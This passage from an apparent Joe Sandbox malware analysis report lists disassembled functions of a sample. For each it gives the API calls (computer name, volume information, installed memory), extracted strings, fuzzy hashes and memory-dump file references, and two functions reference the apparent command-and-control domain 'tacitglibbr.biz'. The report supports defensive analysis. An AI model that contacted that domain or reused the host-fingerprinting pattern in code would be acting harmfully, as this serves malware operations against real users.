CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00CB64A7
SysFreeString.OLEAUT32(?), ref: 00CB67A0
SysFreeString.OLEAUT32(?), ref: 00CB67A6
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00CB67E7

Strings

T'g), xrefs: 00CB652D
Y/9Q, xrefs: 00CB653D
A;, xrefs: 00CB643C
w!s#, xrefs: 00CB64F6, 00CB64FA
C, xrefs: 00CB6369
z7}9A3q5, xrefs: 00CB65BB
X&c8, xrefs: 00CB628F
BC, xrefs: 00CB6565

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: String$Free$AllocBlanketInformationProxyVolume
String ID: A;$BC$C$T'g)$X&c8$Y/9Q$w!s#$z7}9A3q5
API String ID: 1773362589-4124187736
Opcode ID: e6b54ff7b74996456759785bbc113f60422c40190f950e932ed35f03a7a31780
Instruction ID: a1240c60ebd392d214b3aeb02e493ef2f530583f529616be015df4fcdb6d5976
Opcode Fuzzy Hash: e6b54ff7b74996456759785bbc113f60422c40190f950e932ed35f03a7a31780
Instruction Fuzzy Hash: A912DCB26083009BD714CF29C881BABBBE5FFD5704F144A2CF695DB290DB78D9058B92

Function 00CAB4FC Relevance: 12.8, APIs: 3, Strings: 4, Instructions: 519
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00CAB5FE
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 00CAB63A
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 00CAB726

Strings

%(#}, xrefs: 00CAB740
/26-, xrefs: 00CAB735
/, xrefs: 00CAB908
1, xrefs: 00CABB59

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: %(#}$/$/26-$1
API String ID: 2243422189-261129489
Opcode ID: 0792298a98546dc0d89db45d63c97a04cfdc528ee0c0db281ac31036b40ea2f2
Instruction ID: f252518bb4067ca2a3397caff8da04f0e9affacb336c25834701db902c0c1a4f
Opcode Fuzzy Hash: 0792298a98546dc0d89db45d63c97a04cfdc528ee0c0db281ac31036b40ea2f2
Instruction Fuzzy Hash: 02E1A37151C3C18AE7358F2584607BBBBE6AFD3308F1848ADD1D987293DB794909CB62

Function 00CAB4F7 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 00CAB63A
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 00CAB726

Strings

%(#}, xrefs: 00CAB740
/26-, xrefs: 00CAB735
/, xrefs: 00CAB908
1, xrefs: 00CABB59

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: ComputerName
String ID: %(#}$/$/26-$1
API String ID: 3545744682-261129489
Opcode ID: 7f2268b59d60e420f0ff75b6c16977bfeb4ccffebe4157ff81ad4c1a36527d71
Instruction ID: 10eb781ba880406e2488622526d6add3c75da3593e51a2785d3d50e1fd3c263a
Opcode Fuzzy Hash: 7f2268b59d60e420f0ff75b6c16977bfeb4ccffebe4157ff81ad4c1a36527d71
Instruction Fuzzy Hash: 45E1D6711183828BE725CF29C4917BBBBD6EF93304F18896DD0D987293D739890AD762

Function 00C95298 Relevance: 9.9, APIs: 1, Strings: 4, Instructions: 1123COMMON

Download Yara Rule

Strings

kmbj, xrefs: 00C95B8C
in~x, xrefs: 00C95AFB
Z\, xrefs: 00C95344
ydij, xrefs: 00C95B93

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: in~x$kmbj$ydij$Z\
API String ID: 0-979945983
Opcode ID: f0a2473c0978e6066f7f6df38b978ced13f4db79a2f4517857f8bb05017779ac
Instruction ID: b7b0ebb67c81e58e57d240ab00eb1074708fa18ad384c53fb1bf8132df517e95
Opcode Fuzzy Hash: f0a2473c0978e6066f7f6df38b978ced13f4db79a2f4517857f8bb05017779ac
Instruction Fuzzy Hash: 847245B1600B00CFDB258F28D895B67B7B2FF96314F18856CE4968B762E735E902DB50

Function 00CABBF7 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00CAC0CC

Strings

}s, xrefs: 00CAC0F3
Fg, xrefs: 00CAC163
2, xrefs: 00CAC0FD
F, xrefs: 00CABC0D

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 2$F$Fg$}s
API String ID: 3960555810-1032797287
Opcode ID: 27377f5d0d893a5be9d9180e2081f13bf92c718fe728cc6a382f967bc2b8b02c
Instruction ID: dfd98b18c3fe390a283c5c57041864da041ab4baf229d5d951cf3f7e4f5205c0
Opcode Fuzzy Hash: 27377f5d0d893a5be9d9180e2081f13bf92c718fe728cc6a382f967bc2b8b02c
Instruction Fuzzy Hash: 31B1D67050C3C18BD7398F2984907ABBFE2AF97308F18896DD0D997292D7358509CB52

Function 00CA10E0 Relevance: 8.0, Strings: 6, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 00CA16B9
U, xrefs: 00CA16C3
,, xrefs: 00CA161E
!@, xrefs: 00CA1116
h, xrefs: 00CA12F2
T, xrefs: 00CA16BE

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: !@$,$T$U$V$h
API String ID: 0-1072848446
Opcode ID: bfe2379a82bdda7b651ad97c1069ac27f531bbf580d7a1e527ee4942353a3818
Instruction ID: aec2e567b7054bff578738d600634448b78f52204c6bfc5875f9fae07fc1f978
Opcode Fuzzy Hash: bfe2379a82bdda7b651ad97c1069ac27f531bbf580d7a1e527ee4942353a3818
Instruction Fuzzy Hash: 14229D7160C7918FD3208F29C44436FBBE1AB86318F198A2DE9E6C73D2D77989458B43

Function 00C8CFF3 Relevance: 7.8, Strings: 6, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2BC88D3FB73EE0A1F9F1B7136A1E0C5E, xrefs: 00C8D049
3ej, xrefs: 00C8D2DD
pr, xrefs: 00C8D2F1
BI, xrefs: 00C8D253
tacitglibbr.biz, xrefs: 00C8D34A
ZG, xrefs: 00C8D25A

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: 2BC88D3FB73EE0A1F9F1B7136A1E0C5E$BI$ZG$tacitglibbr.biz$3ej$pr
API String ID: 0-1587308080
Opcode ID: db74678d693dbea2e6eca5e5dbfdd451a7f0f5a29482c8133a24d153df74cfa4
Instruction ID: 859cdfec91adec30149d1776eb68c179c4eb3bc7274a264166d2e369d69c1984
Opcode Fuzzy Hash: db74678d693dbea2e6eca5e5dbfdd451a7f0f5a29482c8133a24d153df74cfa4
Instruction Fuzzy Hash: 62A1E4B52007818FD718CF29C590A66BBE2FF96314B1995ADC0E78F7A6D734E802CB54

Function 00CABFF2 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00CAC0CC

Strings

}s, xrefs: 00CAC0F3
Fg, xrefs: 00CAC163
2, xrefs: 00CAC0FD

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 2$Fg$}s
API String ID: 3960555810-590776183
Opcode ID: d77aac2f3534cfaad5f772ed176f95af7bb0fb5ca9cf8e2b61ef9a82f2473563
Instruction ID: 68201f0a75a468f59dd7aff168ee555bcb249ff3a7ad2f864e655d0150422a03
Opcode Fuzzy Hash: d77aac2f3534cfaad5f772ed176f95af7bb0fb5ca9cf8e2b61ef9a82f2473563
Instruction Fuzzy Hash: 9891E47050C3C18BD7398F39C4A07ABBBE1AF97308F18896DD0D997292D739850ACB56

Function 00CB5EA0 Relevance: 5.3, Strings: 4, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T, xrefs: 00CB5EB4
V, xrefs: 00CB5EBE
U, xrefs: 00CB5EB9
k, xrefs: 00CB5EAF

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: T$U$V$k
API String ID: 0-1255220828
Opcode ID: 40ab134a543234b284adde37f9b0517a199a7d4ccc2186ed012a60eb782bdb88
Instruction ID: ac2dd5ab3132e2ab202f8a8189f6633e7932824cf4f3d5d111261cfa21e62e29
Opcode Fuzzy Hash: 40ab134a543234b284adde37f9b0517a199a7d4ccc2186ed012a60eb782bdb88
Instruction Fuzzy Hash: 22A1F23210C7908BD7049A79D8903AEBBD25BD6328F194B2DE4E6873D2D679CA45C707

Function 00C8DD25 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 321
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 00C8DD35

Strings

PT, xrefs: 00C8DF63
tacitglibbr.biz, xrefs: 00C8E06C

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: Uninitialize
String ID: PT$tacitglibbr.biz
API String ID: 3861434553-1646754259
Opcode ID: ad37d16d55cf0b9f6833f34fde5c41e4dfd5a7a79b54026e5144a428d8d45621
Instruction ID: cffcce9be1c799d1a5506d64ab8f4de3f18733d1b0fbf51d8cfbddcc58df5c3e
Opcode Fuzzy Hash: ad37d16d55cf0b9f6833f34fde5c41e4dfd5a7a79b54026e5144a428d8d45621
Instruction Fuzzy Hash: 20A1BEB41087818FD326CF29C4A0A62BFE2EF67304B19969CC4E24F7A6D339D905CB55

Function 00CA2E93 Relevance: 2.9, Strings: 2, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X9{;, xrefs: 00CA330B
)*, xrefs: 00CA3216

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: )*$X9{;
API String ID: 0-234667246
Opcode ID: d4d3dfb3d9f4b037634093a8cc6f9920e97e9a292ce134dd4b2411663929ceb9
Instruction ID: 139e3d8f7ec7989d0941c343a56f049b00abb97aa213307dc8640c403fae69e1
Opcode Fuzzy Hash: d4d3dfb3d9f4b037634093a8cc6f9920e97e9a292ce134dd4b2411663929ceb9
Instruction Fuzzy Hash: 1FD1BAB02083819FD7009F99D89166BBBE4FF86348F14892CF5D18B352E378DA09CB56

Function 00CBCB20 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ihgf, xrefs: 00CBCC13
@, xrefs: 00CBCBF5

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: InitializeThunk
String ID: @$ihgf
API String ID: 2994545307-73152791
Opcode ID: 83085846a90eb61c4b09de4bb45817c4e30e7f14c71858c022beb2032204c867
Instruction ID: 973e3970cbd643796b438091d166f6c98fee3fa15885cceac1302c187220386a
Opcode Fuzzy Hash: 83085846a90eb61c4b09de4bb45817c4e30e7f14c71858c022beb2032204c867
Instruction Fuzzy Hash: 364136B1A043018BD714CF24D8927BBBBA1FF95718F14822CE4A99B391E735D909C781

Function 00CA5990 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

167H, xrefs: 00CA5A65

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
